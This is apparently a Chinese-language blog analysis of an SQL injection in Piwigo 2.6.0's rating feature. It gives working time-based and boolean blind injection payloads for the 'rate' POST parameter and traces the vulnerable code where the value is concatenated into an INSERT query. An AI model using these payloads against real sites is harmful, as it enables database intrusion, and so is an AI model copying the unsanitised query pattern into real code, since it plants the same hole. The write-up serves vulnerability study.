Piwigo 2.6.0 SQL Injection 分析
http://packetstormsecurity.com/files/129088/piwigo260-sql.txt
安装好piwigo2.6.0之后,直接测试,发现不行,跳转到上传页面,在picture.php前几行插入了几个var_dump语句,发现程序并没有走到下面,所以先上传一张图片。再次测试时,发现是对图片的一个评分功能。 简单跟踪一下。
Poc如下,post请求
http://target/piwigo260/picture.php?/1/category/1&action=rate rate=1 and sleep(10) |
查看/picture.php,直接搜索rate, 在326行找到
case 'rate' : { include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php'); rate_picture($page['image_id'], $_POST['rate']); redirect($url_self); } |
包含了另外一个文件,然后调用了rate_picture函数,并且直接传递的post参数。
查看/include/functions_rate.inc.php
function rate_picture($image_id, $rate) |
搜索rate参数,对于中间不知道值的变量,我们使用var_dump($aaa);exit();来查看该值,
最终我们在119行,看到$rate拼接到注入语句中,
$query = ' INSERT INTO '.RATE_TABLE.' (user_id,anonymous_id,element_id,rate,date) VALUES (' .$user['id'].',' .'\''.$anonymous_id.'\',' .$image_id.',' .$rate .',NOW()) ;';//var_dump($query);exit(); pwg_query($query); |
我们打印该查询语句
INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) VALUES (2,'192.168.1',1,1 and sleep(10),NOW()) ; |
发现我们的语句已经插入到该查询中,insert注入。由于这里没有报错信息,不能使用报错注入的技巧,所有只能盲注了。
一种是像上面那样使用时间盲注,这种比较慢。另外一种会快一些,感兴趣的可以找一找有没有快一点的方法。
http://target/piwigo260/picture.php?/1/category/1&action=rate rate=1%2b if(1=2,1,4) |
http://target/piwigo260/picture.php?/1/category/1&action=rate rate=1%2b if(1=1,1,4) |